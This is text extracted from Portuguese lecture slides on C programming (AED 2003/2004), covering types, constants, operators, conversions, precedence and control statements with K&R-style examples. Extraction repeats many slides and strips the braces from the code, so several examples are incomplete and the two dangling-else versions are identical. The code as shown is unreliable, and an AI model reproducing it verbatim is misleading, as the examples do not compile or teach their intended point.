Precedência e ordem de avaliação
AED 2003/2004 – p.80/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Identificadores
Sequências de letras, underscore, ou dígitos
Primeiro caracter é letra ou underscore
Frequentemente nomes nas bibliotecas começam comunderscore
identificador diferente de Identificador
variaveis em minúsculas e CONSTANTES emmaiúsculas
Variáveis internas: primeiros 31 caracteressignificativos
Variáveis externas e funções: 6 primeiros caracteressignificativos sem distinção de maiúsculas/minúsculas
Nomes reservados: if, else, int, float, etc
AED 2003/2004 – p.81/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
AED 2003/2004 – p.82/554
Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmética módulo 2n, n=númerobits
signed char entre -128 e 127 (máquinacomplemento de 2)
tamanho char 1 byte
16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long doubleAED 2003/2004 – p.82/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)
AED 2003/2004 – p.83/554
Constantes
Valor de 0XFUL?
AED 2003/2004 – p.84/554
Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L
Inteiros em notação octal: 037
Inteiros em notação hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U (unsigned)
double: 100.0 ou 1.0e2
float: 100.0f ou 100.0F
AED 2003/2004 – p.85/554
Constantes
char são inteiros
’0’ representa 48 (entrada 48 tabela ASCII é ’0’)
Caracteres de escape: \000 e \xhh#define VTAB ’\013’ ou #define VTAB ’\xb’#define BELL ’\007’ ou #define BELL ’\x7’
Tabela de caracteres de escape\a alerta (bell) \b backspace
\c formfeed \n newline
\r carriage return \t tabulação horizontal
\v tabulação vertical \\ barra
\? ponto de interrogação \’ plica
\" aspas \000 número octal
\xhh número hexadecimal
AED 2003/2004 – p.86/554
Constantes
"Uma string"
"Outra " "string"
"" /* ainda outra string */
Representação interna da string "Ola": ’O’, ’l’,’a’, ’\0’
Diferença entre "x" e ’x’?
AED 2003/2004 – p.87/554
Constantes
/* strlen: retorna comprimento deuma string */
int strlen(char s[])
int i;
i = 0;while (s[i] != ’\0’)
++i;return i;
AED 2003/2004 – p.88/554
Constantes
Constantes de tipos enumerados
Tipo enumerado definido por sequência de constantes
enum boolean NAO, SIM
Tipo boolean tem duas constantes: NAO e SIM
Constantes de tipo enumerado têm valor inteiro:primeira constante vale 0, segunda vale 1, etc
Tipo boolean: NAO vale 0 e SIM vale 1
Pode-se especificar valores para as constantesenum escapes BELL = ’\a’, BACKSPACE = ’\b’, TAB = ’\t’,
NEWLINE = ’\n’, VTAB = ’\v’, RETURN = ’\r’;
AED 2003/2004 – p.89/554
Constantes
Constantes enumeradas definidas em sequência têmvalores seguidosenum meses JAN = 1, FEV, MAR,
ABR, MAI, JUN, JUL,
AGO, SET, OUT, NOV, DEZ
/* FEV vale 2, MAR vale 3, etc. */
Nomes constantes enumeradas distintos
Valores de constantes diferentes possivelmente iguais
AED 2003/2004 – p.90/554
Constantes
Associação de valores com constantes: constantesenumeradas face a #define
Geração automatizada de valores :)
Podem-se declarar variáveis :)
Compiladores podem não verificar valores guardados :(
Pode haver compiladores que verifiquem :)
Debuggers podem escrever valores naforma simbólica :)
AED 2003/2004 – p.91/554
Declarações
Declarações de variáveis
Declarações precedem utilização
Declaração especifica tipo e lista variáveis
int superior, inferior, passo;char c, linha[1000];
Alternativa:int superior;int inferior;int passo;char c;char linha[1000];
AED 2003/2004 – p.92/554
Declarações
Inicialização de variáveis externas e estáticas:<tipo> <variável> = < expressão constante >;
Caso de omissão: valor 0
Inicialização variáveis automáticas:<tipo> <variável> = < expressão >;
Caso de omissão: valor indefinido
AED 2003/2004 – p.93/554
Declarações
Declarações de constantes
const pode anteceder qualquer declaração
Significa que valor não vai mudar
Compilador pode tirar partido
const double e = 2.71828182845905;const char msg[] = "bem vindo ao C";int strlen(const char[]);
AED 2003/2004 – p.94/554
Operadores aritméticos
+, -, *, / e %
Anos bissextos: divisíveis por 4 mas não divisíveis por100, excepto se divisíveis por 400. Exemplo:if ((ano % 4 == 0 && ano % 100 != 0) || ano % 400 == 0)
printf("%d e bissexto\n", ano);
else printf("%d nao e bissexto\n", ano);
Sinal em truncagem de valores negativos: não definido
Direcção da truncagem de valores negativos: nãodefinido
Situação de overflow e underflow: reacção nãodefinidas
AED 2003/2004 – p.95/554
Operadores lógicos e relacionais
>, >=, <, e <= (precedências iguais)
== e != (precedências inferiores)
Operadores aritméticos têm precedência maior queoperadores relacionais
AED 2003/2004 – p.96/554
Operadores lógicos e relacionais
i < lim-1 é (i < lim)-1 ou i < (lim-1)?
AED 2003/2004 – p.97/554
Operadores lógicos e relacionais
>, >=, <, e <= (precedências iguais)
== e != (precedências inferiores)
Operadores aritméticos têm precedência maior queoperadores relacionais
i < lim-1 é (i < lim)-1 ou i < (lim-1)?
&& e || avaliam argumentos da esquerda para direita eparam quando argumentos são suficientes para definirvalorfor (i=0; i<lim-1 && (c=getchar()) != ’\n’ && c != EOF; ++i)
s[i]=c;
AED 2003/2004 – p.98/554
Operadores lógicos e relacionais
Operadores relacionais têm precedência maior que &&,que por seu lado tem precedência maior que ||
Valor numérico de expressão lógica é 1 se expressão éverdadeira e 0 se falsa
Negação ! converte 0 em 1 e vice-versa
if (!valid) mais fácil de ler que if (valid == 0)
AED 2003/2004 – p.99/554
Conversão de tipos
Argumentos de operadores de diferentes tiposprovocam transformação de tipos dos argumentos
Algumas conversões automáticas: de representações“estreitas” para representações mais “largas” sem seperder informação.Ex: conversão de int para float em f + i
char é inteiro pequeno e podem-se fazer contas
AED 2003/2004 – p.100/554
Conversão de tipos
/* atoi: converte string num inteiro */int atoi(char s[])
int i,n;
n = 0;for (i=0; s[i]>=’0’ && s[i]<=’9’; ++i)
n = 10 * n + (s[i] - ’0’);return n;
AED 2003/2004 – p.101/554
Conversão de tipos
/* lower: converte caracter paraminusculas: so para ASCII */
int lower(int c)
if (c >= ’A’ && c <= ’Z’)return c + ’a’ - ’A’;
else return c;
AED 2003/2004 – p.102/554
Conversão de tipos
Tabela EBCDIC distância de maiúsculas e minúsculasvaria: não se pode usar return c + ’a’ - ’A’;
Biblioteca <ctype.h> define família de funçõesindependentes do conjunto de caracteres
tolower substitui lower; isdigit(c) substituic >= ’0’ && c <= ’9’; etc
AED 2003/2004 – p.103/554
Conversão de tipos
Conversão caracteres para inteiros: C não específicase inteiro representado por caracter tem de ser positivoou se pode ser negativo (só que caracter visível temque ser positivo)
Se todos caracteres são positivos, conversão é semprepositiva
Se puder ser negativo, transformação em int pode oumanter o sinal e acrescentar uns ou acrescentar zerosà esquerda
Problema: numas máquinas uma sequência de bitsrepresenta um número positivo e noutras um númeronegativo
AED 2003/2004 – p.104/554
Conversão de tipos
Este problema afecta valor de expressões emprogramas (p. ex. em d = c >= ’0’ && c <=’9’)?
Não, porque caracteres utilizados em programas sãovisíveis (neste caso, ’0’ e ’9’) e, portanto, positivos
Logo, são convertidos para inteiros positivos eproblema não se verifica
Para maximizar portabilidade, especificar se variáveischar que vão receber número arbitrário devem sersigned ou unsigned
AED 2003/2004 – p.105/554
Conversão de tipos
Quando operador binário (+, *, etc) tem operandos detipos diferentes, tipos dos operandos convertidos
Quando não há argumentos unsigned:Se algum dos operandos é long double, converteoutro para long double
Caso contrário, se um dos operandos é double,converte outro para double
Caso contrário, se um dos operandos é float,converte outro para float
Caso contrário, converte short para int e sealgum dos operandos for long, converte o outropara long
AED 2003/2004 – p.106/554
Conversão de tipos
Mudança ANSI-C: float não é convertido paradouble
Utilização de float: tabelas grandes ou máquinaspouco eficientes a tratar double
AED 2003/2004 – p.107/554
Conversão de tipos
Regras de conversão envolvendo unsigned maiscomplicadas
Comparações entre valores signed e unsigneddependentes da máquina
Exemplo em máquina com int com 16 bits e longcom 32 bits:-1L < 1U (inteiro 1U convertido em signed long)-1L > 1UL (-1L convertido em unsigned long numinteiro muito grande)
AED 2003/2004 – p.108/554
Conversão de tipos
Conversão de int para char: retirar caracteres deordem superior
Conversão de float para int: truncagem
Conversão de double para float: truncagem ouarredondamento
Nas chamadas a funções, há conversão de tipos
Se não houver protótipos, char convertido para int efloat convertido para double
AED 2003/2004 – p.109/554
Conversão de tipos
Conversão forçada de tipos: utilização de operador cast
(<nome tipo>) <expressão>
Valor <expressão> convertido para tipo (<nome tipo>)como se tratasse de atribuição
sqrt (declarada em <math.h>) espera argumentodouble
Se compilador não conhecer tipos de argumentos,sqrt(2) produz valor arbitrário e sqrt((double) 2)valor correcto
Se argumentos tiverem sido declarados num protótipodouble sqrt(double), sqrt(2) produz valorcorrecto
AED 2003/2004 – p.110/554
Conversão de tipos
unsigned long int next = 1;
/* rand: retorna inteiro pseudo-aleatorio */int rand(void)
next = next * 1103515245 + 12345;return (unsigned int)(next/65536) % 32768;
/* srand: modifica semente de rand() */void srand(unsigned int seed)
next = seed;
AED 2003/2004 – p.111/554
Operador incrementar e decrementar
Operador incrementar variável (++) e decrementarvariável (--) e retorna valor variável
Operadores prefixos (++<var>, --<var>) primeiroincrementa/decrementa e depois retorna valores
Operadores posfixos (<var>++, <var>--) primeiroretorna valor e depois incrementa/decrementa
AED 2003/2004 – p.112/554
Operador incrementar e decrementar
Se n é 5, qual é o valor de x depois de x=n++?
Se n é 5, qual é o valor de x depois de x=++n?
AED 2003/2004 – p.113/554
Operador incrementar e decrementar
/* espreme: apaga ocorrencias de todosos c de s */
void espreme(char s[], int c)int i, j;
for (i = j = 0; s[i] != ’\0’; i++)if (s[i] != c)
s[j] = s[i];j++;
s[j]= ’\0’;
AED 2003/2004 – p.114/554
Operador incrementar e decrementar
Pode ser melhorado!/* espreme: apaga ocorrencias de todos
os c de s */void espreme(char s[], int c)int i, j;
for (i = j = 0; s[i] != ’\0’; i++)if (s[i] != c)
s[j++] = s[i];s[j] = ’\0’;
AED 2003/2004 – p.115/554
Operador incrementar e decrementar
/* strcat: concatena duas strings */
void strcat(char s[], char t[])
int i, j;
i = j = 0;
while (s[i] != ’\0’) /* encontra fim de s */
i++;
while ((s[i] = t[j]) != ’\0’)
i++;
j++;
AED 2003/2004 – p.116/554
Operador incrementar e decrementar
Pode ser melhorado!
/* strcat: concatena duas strings */
void strcat(char s[], char t[])
int i, j;
i = j = 0;
while (s[i] != ’\0’) /* encontra fim de s */
i++;
while ((s[i++] = t[j++]) != ’\0’)
;
AED 2003/2004 – p.117/554
Operações bit a bit
Manipular bits em inteiros (char, short, int, long):& AND bit a bit| OU bit a bitˆ OU exclusivo bit a bit<< shift left>> shift right˜ complemento de 1
Ex: n = n & 0177; Põe a zero todos os bits que nãoos 7 de ordem mais baixa
n = n | SET_ON; Põe a um os bits que estão a umem SET_ON
Se x = 1; y = 2;, valor de x & y? E x && y?
AED 2003/2004 – p.118/554
Operações bit a bit
n = x ˆ y; Põe em n a um (zero) os bits que em x ey são diferentes (iguais)
x « 2 Desloca bits 2 posições esquerda. Espaçopreenchido com 0
x » 2 Desloca bits 2 posições direita. Espaçopreenchido com 0
Dependendo da máquina, right shift de valor com sinalpode preencher bits com bits de sinal (“shift aritmético”)ou com zeros (“shift lógico”)
AED 2003/2004 – p.119/554
Operações bit a bit
Exemplo: função getbits(x,p,n) retorna o campo den-bits de x, ajustado à direita, que começa na posição p(assumindo que bit mais à direita é o bit de posição 0)/* getbits: devolve n bits a partir da posicao p */
unsigned getbits(unsigned x, int p, int n)
return (x >> (p+1-n)) & ˜(˜0 << n);
AED 2003/2004 – p.120/554
Atribuições e expressões
i = i + 1; pode ser reescrito como i += 1;
+= é um operador atribuição
Outros operadores correspondentes a -, *, /, %, >>,<<, &, ˆ, |
<expr1> <op>=<expr2> equivale a<expr1> = (<expr1>) <op> (<expr2>)
AED 2003/2004 – p.121/554
Atribuições e expressões
x *= y + 1 equivale a x = x * y + 1 ou a
x = x * (y + 1)?
AED 2003/2004 – p.122/554
Atribuições e expressões
i = i + 1; pode ser reescrito como i += 1;
+= é um operador atribuição
Outros operadores correspondentes a -, *, /, %, >>,<<, &, ˆ, |
<expr1> <op>=<expr2> equivale a<expr1> = (<expr1>) <op> (<expr2>)
Vantagens operadores atribuição:mais próximo maneira de pensar de humanosEx: i += 2;
simplifica leitura de expressões complicadasEx: yyval[yypv[p3+p4] + yypv[p1+p2]] +=2;
AED 2003/2004 – p.123/554
Atribuições e expressões
/* contabits: conta bits a um em x */int contabits(unsigned x)
int b;
for (b = 0; x != 0; x >>= 1)if (x & 01)
b++;return b;
AED 2003/2004 – p.124/554
Expressões condicionais
Expressão condicional: expressão cujo valor dependede uma outra expressão
<expr1> ? <expr2> : <expr3>Se <expr1> for verdadeiro, valor da expressão é<expr2>Se <expr1> for falso, valor da expressão é <expr3>
Ex: z = (a > b) ? a : b; comparado comif (a > b)
z = a;else z = b;
AED 2003/2004 – p.125/554
Expressões condicionais
Expressão condicional utilizada onde expressão podeser utilizada
Gera código mais curto:printf("Tem %d objecto%s", n,
(n == 1)? "" : "s");
Se a ? b : c diferentes tipos, aplicam-se regrasde conversão de tipos
AED 2003/2004 – p.126/554
Expressões condicionais
Se n é int e f é float, tipo de (n > 0) ? f : n?
AED 2003/2004 – p.127/554
Precedência e ordem de Avaliação
Tabela de precedência de operações e de associatividade() [] -> . ED
! ˜ ++ -- + - * & (tipo) sizeof DE
* / % ED
+ - ED
<< >> ED
< <= > >= ED
== != ED
& ED
ˆ ED
| ED
&& ED
|| ED
AED 2003/2004 – p.128/554
Precedência e ordem de Avaliação
Tabela de precedência de operações e de associatividade(cont.)?: DE
= += -= *= /= %= &= ˆ= |= <<= >>= DE
, ED
ED– associatividade esquerda-direita; DE– associatividadedireita-esquerda
+, -, e * unários têm maior precedência que formas
binárias.
AED 2003/2004 – p.129/554
Precedência e ordem de avaliação
Ordem de avaliação de argumentos de operadoresindefinida excepto virgula ,, ...
AED 2003/2004 – p.130/554
Precedência e ordem de avaliação
Ordem de avaliação de argumentos de operadoresindefinida excepto vírgula ,, &&, ||, e ?:.
Problemas: x = f() + g(); e tanto f como gmodificam variáveis externas de que o outro depende
Ordem de avaliação de argumentos de funções
Problema:printf("%d %d\n", ++n, potencia(2,n));
Expressões envolvendo efeitos condicionais
Problema: a[i] = i++;
AED 2003/2004 – p.131/554
Precedência e ordem de avaliação
Compiladores diferentes têm soluções diferentes(melhor solução pode depender da arquitectura damáquina)
Moral: má prática escrever código dependente daordem de avaliação
AED 2003/2004 – p.132/554
AED 2003/2004 – p.133/554
AED 2003/2004 – p.134/554
AED 2003/2004 – p.135/554
Parte III
K&R Cap. 3
AED 2003/2004 – p.136/554
Controlo de Execução
Instruções e Blocos
IfElse-If
Switch
Ciclos:Instruções While e ForInstrução Do-While
Break e Continue
Goto e Labels
AED 2003/2004 – p.137/554
Instruções
Expressão terminada por ’;’
Caracter ’;’ denota o fim de uma instrução
x = 0;
i++;
AED 2003/2004 – p.138/554
Blocos (ou Instruções Compostas)
Chavetas, e , permitem agrupar declarações einstruções
instruções de uma funçãoconjuntos de instruções em if, for, while, etc.
int x, i = 1;
x = 0;
i++;
printf(¨%d %d\n¨);
AED 2003/2004 – p.139/554
Instrução If
Permite expressar decisões:
if (expressao)
instrucao1
else
instrucao2
Se expressão tem valor diferente de 0, instrução1 éexecutada
Se expressão tem valor igual a 0, instrução2 éexecutada
AED 2003/2004 – p.140/554
If’s Encadeados
if (n > 0)
if (a > b)
z = a;
else
z = b;
else é sempre associado com o if mais interno
Para associar com if mais externo:
if (n > 0)
if (a > b)
z = a;
else
z = b;
AED 2003/2004 – p.141/554
If’s Encadeados
Atenção à associação dos else’s com if’s:
if (n >= 0)
for (i = 0; i < n; i++)
if (s[i] > 0) printf(¨...¨);
return i;
else
printf(¨Erro -- n e negativo¨);
else é associado com o if mais interno
AED 2003/2004 – p.142/554
Else-If
É usual utilizar else-if para representar uma decisãocom opções múltiplas:
if (expressao)
instrucao
else if (expressao)
instrucao
else if (expressao)
instrucao
else if (expressao)
instrucao
else
instrucao
AED 2003/2004 – p.143/554
Um Exemplo – Procura Binária
/* procura_binaria: encontra x em v[0] <= v[1] <= ... <= v[n-1] */
int procura_binaria(int x, int v[], int n)
int low, high, mid;
low = 0;
high = n-1;
while (low <= high)
mid = (low + high) / 2;
if (x < v[mid])
high = mid - 1;
else if (x > v[mid])
low = mid + 1;
else
return mid; /* valor encontrado */
return -1; /* nao existe */
AED 2003/2004 – p.144/554
Instrução Switch
Representa decisão com opções múltiplas, que testase uma expressão assume um de um conjunto devalores inteiros constantes:
switch (expressao)
case const-expr: statements
case const-expr: statements
default: statements
default é opcional
default é executado se expressão diferente de qualquerdos outros casos
AED 2003/2004 – p.145/554
Um Exemplo – Contagem de Dígitos
#include <stdio.h>
main() /* Conta digitos, espacos e outros */
int c, i, nbranco, noutro, ndigito[10];
nbranco = noutro = 0;
for (i = 0; i < 10; i++)
ndigito[i] = 0;
while ((c = getchar()) != EOF)
...
(cont.)
AED 2003/2004 – p.146/554
Um Exemplo – Contagem de Digitos
...
while ((c = getchar()) != EOF)
switch (c)
case ’0’: case ’1’: case ’2’: case ’3’: case ’4’:
case ’5’: case ’6’: case ’7’: case ’8’: case ’9’:
ndigito[c - ’0’]++;
break;
case ’ ’: case ’\t’: case ’\n’:
nbranco++;
break;
default:
noutro++;
break;
AED 2003/2004 – p.147/554
Intrução While
while (expressao)instrucao
Enquanto expressão for diferente de zero, a instrução éexecutada
Ciclo termina quando valor de expressão for zero
AED 2003/2004 – p.148/554
Instrução For
for (expr1; expr2; expr3)instrucao
Equivalente a:
expr1;while (expr2)instrucao;expr3;
expr1, expr2, expr3: respectivamente, expressões deinicialização, de condição de ciclo, e de incremento
Utilizar for para ciclos com inicialização e incrementosimples
Ciclo infinito ? AED 2003/2004 – p.149/554
Converter Caracteres em Número
#include <ctype.h>
/* atoi: converte string s para inteiro */
int atoi(char s[])
int i, n, sign;
for (i = 0; isspace(s[i]); i++) /* saltar espacos */
;
sign = (s[i] == ’-’) ? -1 : 1;
if (s[i] == ’+’ || s[i] == ’-’) /* saltar sinal */
i++;
for (n = 0; isdigit(s[i]); i++)
n = 10 * n + (s[i] - ’0’);
return sign * n;
AED 2003/2004 – p.150/554
Inverter Cadeia de Caracteres
/* inverte: inverte string s no lugar */
void inverte(char s[])
int c, i, j;
for (i = 0, j = strlen(s) - 1; i < j; i++, j--)
c = s[i];
s[i] = s[j];
s[j] = c;
AED 2003/2004 – p.151/554
Instrução Do-While
doinstrucao
while (expressao);
A instrução é executada
Se expressão é diferente de zero, instrução volta a serexecutada
etc.
AED 2003/2004 – p.152/554
Converter Número em Caracteres
/* itoa: converte n para caracteres em s */
int itoa(int n, char s[])
int i, sign;
if ((sign = n) < 0) /* registar sinal */
n = -n; /* tornar n positivo */
i = 0;
do
s[i++] = n % 10 + ’0’; /* obter proximo digito */
while ((n /= 10) > 0); /* apagar digito */
if (sign < 0)
s[i++] = ’-’;
s[i] = ’\0’;
inverte(s);
AED 2003/2004 – p.153/554
Converter Número em Caracteres
Outra solução, que não inverte string
/* itoa: converte n para caracteres em s */
int itoa(int n, char s[])
int sign, nc;
if ((sign = n) < 0) /* registar sinal */
n = -n; /* tornar n positivo */
/* numero de caracteres */
nc = floor((log10(n) + 1)) + ((sign < 0) ? 1 : 0);
s[nc--] = ’\0’;
do
s[nc--] = n % 10 + ’0’; /* obter proximo digito */
while ((n /= 10) > 0); /* apagar digito */
if (sign < 0)
s[nc] = ’-’;
return nc; /* valor de i e 0 ... */
AED 2003/2004 – p.154/554
Instruções Break e Continue
A instrução break permite terminar a execução de umainstrução for, while, do ou switch
A instrução continue desencadeia a execução dapróxima iteração de uma instrução for, while ou do
Para a instrução for, a execução continua com aexpressão de incremento
O que acontece com:
for(i=0; i<n; i++)
if (a[i] < 0)
continue;
... /* instrucoes */
AED 2003/2004 – p.155/554
Remoção de Caracteres
/* remove: remove brancos, tabs e \n’s no fim de string */
int remove(char s[])
int n;
for (n = strlen(s) - 1; n >= 0; n--)
if (s[n] != ’ ’ && s[n] != ’\t’ && s[n] != ’\n’)
break;
s[n+1] = ’\0’;
return n;
AED 2003/2004 – p.156/554
Leitura de Linhas
Pretende-se realizar uma função que lê as linhas,escritas pelo utilizador, e coloca cada linha numacadeia de caracteres. Cada linha é retornada após serlida
AED 2003/2004 – p.157/554
Leitura de Linhas
#include <stdio.h>
/* getline: ler linha para s, retornar comprimento */
int getline(char s[], int lim)
int c, i;
i = 0;
while (--lim > 0 && (c = getchar()) != EOF && c != ’\n’)
s[i++] = c;
if (c == ’\n’)
s[i++] = c;
s[i] = ’\0’;
return i;
AED 2003/2004 – p.158/554
Substituir Strings: y por x em s
Dadas três strings, x, y e s, substituir primeiraocorrência de y em s por x
Admitir que |x| = |y| ≤ |s|
AED 2003/2004 – p.159/554
Substituir Strings: y por x em s
/* Substitui y por x em s; x e y com o mesmo numero de caracteres */
int str_repl(char s[], char y[], char x[])
int i, j, match;
int slen = strlen(s);
int ylen = strlen(y);
for (i=0; i<=slen-ylen; i++)
for (match = 1, j=0; j<ylen; j++)
if (!(match = (s[i+j] == y[j])))
break;
if (!match)
continue;
for (j=0; j<ylen; j++)
s[i+j] = x[j];
